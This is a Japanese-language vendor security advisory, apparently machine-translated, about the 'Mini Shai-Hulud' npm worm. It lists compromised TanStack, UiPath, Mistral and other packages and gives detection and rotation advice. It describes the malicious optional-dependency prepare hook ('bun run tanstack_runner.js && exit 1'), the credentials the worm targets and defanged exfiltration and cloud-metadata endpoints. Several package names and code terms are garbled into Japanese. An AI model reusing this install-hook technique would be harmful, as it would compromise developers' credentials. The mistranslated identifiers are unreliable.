ミニ・シャイ・ハルドが戻ってきた。以前も言った通り、攻撃の全容はまだ明らかになっていない。
4月にSAPパッケージを標的としたとして報じたnpmの攻撃キャンペーンは、現在、はるかに大規模な侵害へと発展しています。当社のマルウェアチームは、169のnpmパッケージ名にわたり、373件の悪意のあるパッケージ・バージョンエントリを検出しました。
基本的な目的は依然として同じです。開発者のCI/CD 認証情報を盗み出し、その認証情報を使ってさらに多くのパッケージにアクセスすることです。
変化したのは、その規模と公開経路です。今回の攻撃は、単に誰かが手動で悪質なバージョンを公開しているようには見えません。このマルウェアは、ビルドシステム内で実行され、npm や GitHub へのアクセス権を盗み出し、信頼された公開経路を悪用して、新たな改ざんされたパッケージをプッシュするように設計されています。
以前の記事「Mini Shai-Hulud、Bunベースの秘密情報窃取ツールでSAPのnpmパッケージを標的に」をお読みの方へ、こちらはその続報です。基本的な仕組みは同じですが、影響範囲ははるかに広くなっています。
何が起きたのか
TanStackは依然として最も注目されているクラスターの一つですが、もはやそれだけではありません。影響を受ける範囲は現在、 @squawk, @tanstack, @uipath, @tallyui, @beproduct, @mistralai, @draftlab, @draftauth, @taskflow-corp, @tolka、およびスコープ外のパッケージがいくつか。
今回のキャンペーンにおける最大のクラスターは以下の通りです:
@squawk: 87件のパッケージバージョンエントリ@tanstack: 83件のパッケージ・バージョンエントリ@uipath: パッケージバージョンのエントリが66件あります- スコープ外のパッケージ:39件のパッケージ・バージョンエントリ
@tallyui: パッケージバージョンのエントリが30件@beproduct: パッケージバージョンのエントリが18件あります
このリストは現在も更新中です。重要なのはパッケージの数だけでなく、それらがどこで実行されるかという点です。これらのパッケージは、ローカルの開発環境、CIジョブ、リリースワークフロー、および内部ビルドシステムにインストールされる可能性が高いです。
まさにそこが、npmトークン、GitHubトークン、クラウドの認証情報、Kubernetesサービスアカウントトークン、およびデプロイメントシークレット 保存シークレット 。
影響を受けるパッケージとバージョン
当チームが特定したパッケージおよびバージョンの現在のリスト:
@tanstack/履歴:1.161.9,1.161.12@tanstack/react-router:1.169.5,1.169.8@tanstack/router-core:1.169.5,1.169.8@tanstack/router-utils:1.161.11,1.161.14@tanstack/router-plugin:1.167.38,1.167.41@tanstack/virtual-file-routes:1.161.10,1.161.13@tanstack/router-generator:1.166.45,1.166.48@tanstack/start-server-core:1.167.33,1.167.36@tanstack/start-client-core:1.168.5,1.168.8@tanstack/start-storage-context:1.166.38,1.166.41@tanstack/start-plugin-core:1.169.23,1.169.26@tanstack/react-start-server:1.166.55,1.166.58@tanstack/react-start-client:1.166.51,1.166.54@tanstack/start-fn-stubs:1.161.9,1.161.12@tanstack/react-start:1.167.68,1.167.71@tanstack/react-start-rsc:0.0.47,0.0.50@mistralai/mistralai:2.2.2,2.2.3,2.2.4@tanstack/react-router-devtools:1.166.16,1.166.19@tanstack/router-devtools-core:1.167.6,1.167.9@tanstack/router-devtools:1.166.16,1.166.19@tanstack/router-ssr-query-core:1.168.3,1.168.6@tanstack/react-router-ssr-query:1.166.15,1.166.18@tanstack/router-cli:1.166.46,1.166.49@tanstack/zod-adapter:1.166.12,1.166.15@tanstack/eslint-plugin-router:1.161.9@tanstack/router-vite-plugin:1.166.53,1.166.56@tanstack/nitro-v2-vite-plugin:1.154.12,1.154.15@mistralai/mistralai-gcp:1.7.1,1.7.2,1.7.3@tanstack/solid-router:1.169.5,1.169.8@tanstack/solid-start:1.167.65,1.167.68@tanstack/solid-start-client:1.166.50,1.166.53@tanstack/solid-start-server:1.166.54,1.166.57@tanstack/solid-router-devtools:1.166.16,1.166.19@tanstack/start-static-server-functions:1.166.44,1.166.47@tanstack/vue-router:1.169.5,1.169.8@uipath/apollo-react:4.24.5@tanstack/solid-router-ssr-query:1.166.15,1.166.18セーフアクション:0.8.3,0.8.4@tanstack/valibot-adapter:1.166.12,1.166.15@tanstack/vue-start:1.167.61,1.167.64@uipath/apollo-wind:2.16.2@uipath/cli:1.0.1@tanstack/vue-start-server:1.166.50,1.166.53@squawk/types:0.8.2,0.8.3,0.8.4@uipath/rpa-tool:0.9.5@squawk/mcp:0.9.1,0.9.2,0.9.3,0.9.4@tanstack/vue-start-client:1.166.46,1.166.49@squawk/天気:0.5.6,0.5.7,0.5.8,0.5.9@squawk/空域:0.8.1,0.8.2,0.8.3,0.8.4@squawk/ICAO登録データ:0.8.4,0.8.5,0.8.6,0.8.7@tanstack/arktype-adapter:1.166.12,1.166.15@squawk/フライトプラン:0.5.2,0.5.3,0.5.4,0.5.5@squawk/空港:0.6.2,0.6.3,0.6.4,0.6.5@mesadev/sdk:0.28.3@squawk/geo:0.4.4,0.4.5,0.4.6,0.4.7@mesadev/rest:0.28.3@squawk/procedure-data:0.7.3,0.7.4,0.7.5,0.7.6@squawk/航法支援データ:0.6.4,0.6.5,0.6.6,0.6.7@squawk/fix-data:0.6.4,0.6.5,0.6.6,0.6.7@squawk/航法標識:0.4.2,0.4.3,0.4.4,0.4.5@squawk/修正:0.3.2,0.3.3,0.3.4,0.3.5@squawk/空港データ:0.7.4,0.7.5,0.7.6,0.7.7@squawk/航空路データ:0.5.4,0.5.5,0.5.6,0.5.7@squawk/units:0.4.3,0.4.4,0.4.5,0.4.6@squawk/手続き:0.5.2,0.5.3,0.5.4,0.5.5@squawk/airways:0.4.2,0.4.3,0.4.4,0.4.5@squawk/icao-registry:0.5.2,0.5.3,0.5.4,0.5.5@uipath/apollo-core:5.9.2@squawk/notams:0.3.6,0.3.7,0.3.8,0.3.9@uipath/ファイルシステム:1.0.1@uipath/solutionpackager-tool-core:0.0.34@squawk/フライト計算:0.5.4,0.5.5,0.5.6,0.5.7@squawk/空域データ:0.5.3,0.5.4,0.5.5,0.5.6@mistralai/mistralai-azure:1.7.1,1.7.2,1.7.3@uipath/solution-tool:1.0.1@tanstack/eslint-plugin-start:0.0.4,0.0.7@uipath/maestro-tool:1.0.1@uipath/codedapp-tool:1.0.1@uipath/agent-tool:1.0.1@draftlab/auth:0.24.1,0.24.2@uipath/orchestrator-tool:1.0.1@uipath/integrationservice-tool:1.0.2@taskflow-corp/cli:0.1.24,0.1.25,0.1.26,0.1.27,0.1.28,0.1.29@tanstack/vue-router-ssr-query:1.166.15,1.166.18@uipath/rpa-legacy-tool:1.0.1@uipath/垂直ソリューション・ツール:1.0.1@uipath/flow-tool:1.0.2@uipath/codedagent-tool:1.0.1@uipath/common:1.0.1@uipath/resource-tool:1.0.1@uipath/auth:1.0.1@uipath/docsai-tool:1.0.1@uipath/case-tool:1.0.1api:1.0.1@tanstack/vue-router-devtools:1.166.16,1.166.19@uipath/test-manager-tool:1.0.2@uipath/robot:1.3.4@uipath/traces-tool:1.0.1@uipath/agent-sdk:1.0.2@uipath/integrationservice-sdk:1.0.2@uipath/maestro-sdk:1.0.1@uipath/data-fabric-tool:1.0.2@mesadev/saguaro:0.4.22@uipath/tasks-tool:1.0.1@uipath/insights-tool:1.0.1@uipath/insights-sdk:1.0.1@uipath/uipath-python-bridge:1.0.1@draftlab/db:0.16.1@uipath/ap-chat:1.5.7@uipath/project-packager:1.1.16@uipath/packager-tool-case:0.0.9@uipath/packager-tool-workflowcompiler-browser:0.0.34@uipath/packager-tool-connector:0.0.19@uipath/packager-tool-workflowcompiler:0.0.16@uipath/packager-tool-webapp:1.0.6@uipath/packager-tool-apiworkflow:0.0.19@uipath/packager-tool-functions:0.1.1ts-DNA:3.0.1,3.0.2,3.0.3,3.0.4@uipath/widget.sdk:1.2.3@uipath/resources-tool:0.1.11@uipath/agent.sdk:0.0.18クロスステッチ:1.1.3,1.1.4,1.1.5,1.1.6@uipath/codedagents-tool:0.1.12@uipath/aops-policy-tool:0.3.1@uipath/solution-packager:0.0.35@draftlab/auth-router:0.5.1,0.5.2cmux-agent-mcp:0.1.3,0.1.4,0.1.5,0.1.6,0.1.7,0.1.8agentwork-cli:0.1.4,0.1.5@uipath/packager-tool-bpmn:0.0.9@draftauth/core:0.13.1,0.13.2@dirigible-ai/sdk:0.6.2,0.6.3@uipath/packager-tool-flow:0.0.19git-branch-selector:1.3.3,1.3.4,1.3.5,1.3.6,1.3.7api:0.8.1,0.8.2,0.8.3,0.8.4ギット・ギット・ギット:1.0.8,1.0.9,1.0.10,1.0.11,1.0.12@beproduct/nestjs-auth:0.1.2,0.1.3,0.1.4,0.1.5,0.1.6,0.1.7,0.1.8,0.1.9,0.1.10,0.1.11,0.1.12,0.1.13,0.1.14,0.1.15,0.1.16,0.1.17,0.1.18,0.1.19@ml-toolkit-ts/xgboost:1.0.3,1.0.4nextmove-mcp:0.1.3,0.1.4,0.1.5,0.1.6,0.1.7ml-toolkit-ts:1.0.4,1.0.5@uipath/テレメトリ:0.0.7@draftauth/クライアント:0.2.1,0.2.2@ml-toolkit-ts/前処理:1.0.2,1.0.3@tallyui/connector-medusa:1.0.1,1.0.2,1.0.3@uipath/tool-workflowcompiler:0.0.12@uipath/vss:0.1.6@tallyui/テーマ:0.2.1,0.2.2,0.2.3@tallyui/storage-sqlite:0.2.1,0.2.2,0.2.3@uipath/solutionpackager-sdk:1.0.11@tallyui/connector-vendure:1.0.1,1.0.2,1.0.3@tallyui/core:0.2.1,0.2.2,0.2.3@tallyui/connector-woocommerce:1.0.1,1.0.2,1.0.3@tallyui/components:1.0.1,1.0.2,1.0.3@uipath/ui-widgets-multi-file-upload:1.0.1@tallyui/pos:0.1.1,0.1.2,0.1.3@tallyui/データベース:1.0.1,1.0.2,1.0.3@supersurkhet/cli:0.0.2,0.0.3,0.0.4,0.0.5,0.0.6,0.0.7@tallyui/connector-shopify:1.0.1,1.0.2,1.0.3@tolka/cli:1.0.2,1.0.3,1.0.4,1.0.5,1.0.6@supersurkhet/sdk:0.0.2,0.0.3,0.0.4,0.0.5,0.0.6,0.0.7@uipath/access-policy-tool:0.3.1@uipath/コンテキスト・グラウンディング・ツール:0.1.1@uipath/gov-tool:0.3.1@uipath/admin-tool:0.1.1@uipath/identity-tool:0.1.1@uipath/llmgw-tool:1.0.1@uipath/resourcecatalog-tool:0.1.1@uipath/functions-tool:1.0.1@uipath/access-policy-sdk:0.3.1@uipath/platform-tool:1.0.1
「ニュー・ウェーブ」の仕組み
SAPのセキュリティ更新プログラムの配信において、改ざんされたパッケージが追加され、 preinstall 走ったフック setup.mjs、そしてBunを使用して、 execution.js.
この波は、少し異なるルートを通ります。
改ざんされたTanStackパッケージでは、パッケージのtarballのルートディレクトリに、新しい難読化されたファイルが含まれています:
router_init.js
この改ざんされたパッケージには、GitHubでホストされているパッケージを指すオプションの依存関係も追加されています
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}そのGit依存関係には、 準備する スクリプト:
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
}ここがポイントだ。npmは依存関係 ライフサイクルスクリプトを実行する。つまり、一見普通の依存関係に見えるパッケージでも、GitHubでホストされている依存関係に密かにアクセスし、その 準備する フックし、ペイロードを実行する。
会社情報 && exit 1 最後の部分も興味深い。依存関係がオプションであるため、ペイロードの実行後に失敗するように仕向ければ、インストールが不審に見えにくくなる。npmがオプションの依存関係を失敗とみなす頃には、悪意のあるコードはすでに実行済みとなっている。
なぜ「信頼できる出版」がここにおいて重要なのか
今回のアップデートで特に気になるところの一つは、トラステッドパブリッシングの採用です。
「Trusted publishing」は、リリースワークフローから有効期間の長いnpmトークンを排除することを目的としています。GitHub Actionsのワークフローでは、OIDCを利用して有効期間の短いnpmパブリッシュトークンをリクエストし、パッケージを公開して、リリースにプロバンス情報を付加することができます。
ワークフローが整理されているときは、それが良いですね。
ワークフロー内で攻撃者が制御するコードが実行される場合、事態はさらに深刻になります。その場合、攻撃者は長期有効な npm トークンを盗む必要すらなくなる可能性があります。攻撃者は、ワークフロー独自の OIDC 権限を利用してビルド中にパブリッシュ トークンを生成し、そこから公開を行うことができるからです。
つまり、出所情報だけでは完全な安全性の指標とはならないということです。リリース時にワークフローが悪用された場合、悪意のあるパッケージが想定通りのGitHub Actionsワークフローから生成される可能性もあります。
簡単に言えば、プロヴェナンスはパッケージがどこでビルドされたかを示すものです。ただし、そのビルドが安全であったことを証明するものではありません。
ペイロードが盗もうとするもの
このペイロードは、CI/CD 開発環境向けに設計されています。
以下のものを検索します:
- GitHubトークン
- npmトークン
- GitHub Actions の OIDC トークン
- AWSの認証情報とインスタンスのメタデータ
- Kubernetes サービスアカウントのファイル
- HashiCorp Vault トークンとローカルの Vault エンドポイント
- 環境変数
- ローシークレットファイルシステムのシークレット
このペイロードには、拡散ロジックも含まれています。トークンを盗み出した後、それらを利用して被害者が公開可能なパッケージを探し出し、パッケージアーカイブを改変し、悪意のある依存関係を注入し、バージョンを上げ、改ざんされた新しいリリースを公開しようとします。
そこが、このマルウェアを単なる情報窃取型マルウェア以上のものにしている点です。このマルウェアは、現在の被害者から情報を盗もうとするだけでなく、被害者のアクセス権限を利用して、次の感染経路へとつなげようとしているのです。
SAPへの攻撃から何が変化したのか
SAPのリリースはパッケージ数は少なかったものの、企業のビルドツールに影響を与えたため、依然として大きな影響をもたらした。
この影響はより広範囲に及んでいます。TanStackのパッケージは、現代のJavaScriptアプリケーション、特にルーティングやフルスタックのReactツールセットにおいて広く利用されています。依存関係ツリーのその部分にあるパッケージが侵害されると、瞬く間に多くの場所に影響が及ぶ可能性があります。
技術的な変更点もいくつかあります:
- 使用されているSAPパッケージ
setup.mjsそしてexecution.js - 新しいTanStackの波では、
router_init.jsおよびGitHubでホストされている@tanstack/setup依存関係 - 最近のトレンドでは、GitHub Actions、OIDC、npmへの公開、およびパッケージの再パッケージ化がより重視されるようになっている
- ペイロードは依然としてBunをベースとしており、依然シークレット窃取に重点を置いている
しかし、その手口はいつも同じだ。インストール時にコードを実行させ、認証情報を盗み出し、その認証情報を使ってさらにマルウェアを拡散させる。
検知と緩和
まずはロックファイルとパッケージキャッシュから確認しましょう。
影響を受ける名前空間とパッケージを検索する:
@squawk/@tanstack/@uipath/@tallyui/@beproduct/nestjs-auth@mistralai/@draftauth/@draftlab/@taskflow-corp/cli@tolka/cli@ml-toolkit-ts/@mesadev/@dirigible-ai/sdk@supersurkhet/- 上記のスコープ外パッケージ(以下を含む)
セーフアクション,ts-DNA,クロスステッチ,cmux-agent-mcp,agentwork-cli,git-branch-selector,api,ギット・ギット・ギット,nextmove-mcp、およびml-toolkit-ts
新しいペイロードファイルと依存関係マーカーを検索します:
router_init.jsrouter_runtime.jstanstack_runner.js@tanstack/setupgithub:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885cbun run tanstack_runner.js
CIログで以下を検索:
- 実行中に予期せぬBunの実行が発生
npm install - 以下の依存関係に関するオプションの失敗
@tanstack/setup - 依存関係のインストール中のアウトバウンド接続
- 公開すべきではなかったワークフローからのnpm公開アクティビティ
- 予期しないステップ中のGitHub ActionsによるOIDCトークンのリクエスト
開発者のマシンやCIランナーで、セキュリティ上の問題があるパッケージのバージョンが実行されていた場合は、シークレット 更新してください。npmトークンだけに留まらず、他の要素についても同様に対処してください。
回転させるか、確認する:
- npmトークンとパッケージ公開権限
- GitHub PATs と GitHub Actionsシークレット
- クラウドの認証情報
- Kubernetes サービスアカウントのトークン
- Vaultトークン
- デプロイメントシークレット
また、最近の npm 公開履歴、GitHub Actions の実行履歴、およびプロヴェナンス記録も監査してください。有効なプロヴェナンス記録があっても、それがパッケージがクリーンであることの証拠として扱われるべきではありません。
侵害の痕跡
ファイルとペイロード:
router_init.jsrouter_runtime.jstanstack_runner.jsrouter_init.jsSHA-256:ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266ctanstack_runner.jsSHA-256:2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96
パッケージマーカー:
@tanstack/setupgithub:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c準備するスクリプトの実行中bun run tanstack_runner.js- 通常のパッケージ内容の外側に含まれるルートレベルのペイロードファイル
ネットワークおよびサービスの指標:
hxxp://filev2[.]getsession[.]org/file/hxxp://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/hxxp://169[.]254[.]170[.]2hxxps://registry[.]npmjs[.]org/-/npm/v1/tokensvault[.]svc[.]cluster[.]local:8200
キャンペーンマーカー:
ミニ・シャイ・フルードが現れた- ワームの出力およびステージングに使用される『デューン』をテーマにしたリポジトリ名
まとめ
「Mini Shai-Hulud」は、当初は小規模なSAPを対象としたインシデントに過ぎなかったが、現在ではより広範なnpmサプライチェーン攻撃へと発展している。
重要な教訓は、単に侵害されたパッケージが増えたということだけではありません。重要なのは、このマルウェアが現代のリリースシステムの仕組みを悪用して構築されているという点です。このマルウェアはインストール中に実行され、CI/CD 探し出し、GitHubやnpmの公開パスを悪用して、次のパッケージへと自身を潜り込ませようとします。
影響を受けるパッケージのいずれかがご自身の環境で実行されていた場合は、シークレット ローシークレット 、最近の公開履歴が確認されるまで、そのマシンまたはランナーを侵害されたものとみなしてください。
方法 Aikido これをどのように検知するか
もしあなたが Aikido ユーザーの方は、中央フィードを確認し、マルウェア関連の問題でフィルタリングしてください。これにより、100/100の重大な問題として表示されます。 Aikido は毎晩自動的に再スキャンを行いますが、今すぐ手動で再スキャンを実行することをお勧めします。
まだ会員でない場合は Aikido をご利用でない場合は、アカウントを作成してリポジトリを連携できます。マルウェア対策機能は無料プランに含まれており、クレジットカードは不要です。
チーム全体をより広くカバーするには、 Aikidoの「エンドポイント保護」は、チームのデバイスにインストールされたソフトウェアパッケージを可視化し、管理することを可能にします。ブラウザ拡張機能、コードライブラリ、IDEプラグイン、依存関係、すべてを一元管理できます。マルウェアがインストールされる前に阻止しましょう。
将来的なセキュリティ対策として、オープンソースの「Aikido Chain」の導入をご検討ください。Safe Chainは既存のワークフローに組み込まれ、npm、npx、yarn、pnpm、pnpxの各コマンドをインターセプトし、インストール前にAikido データベースと照合してパッケージを検証します。

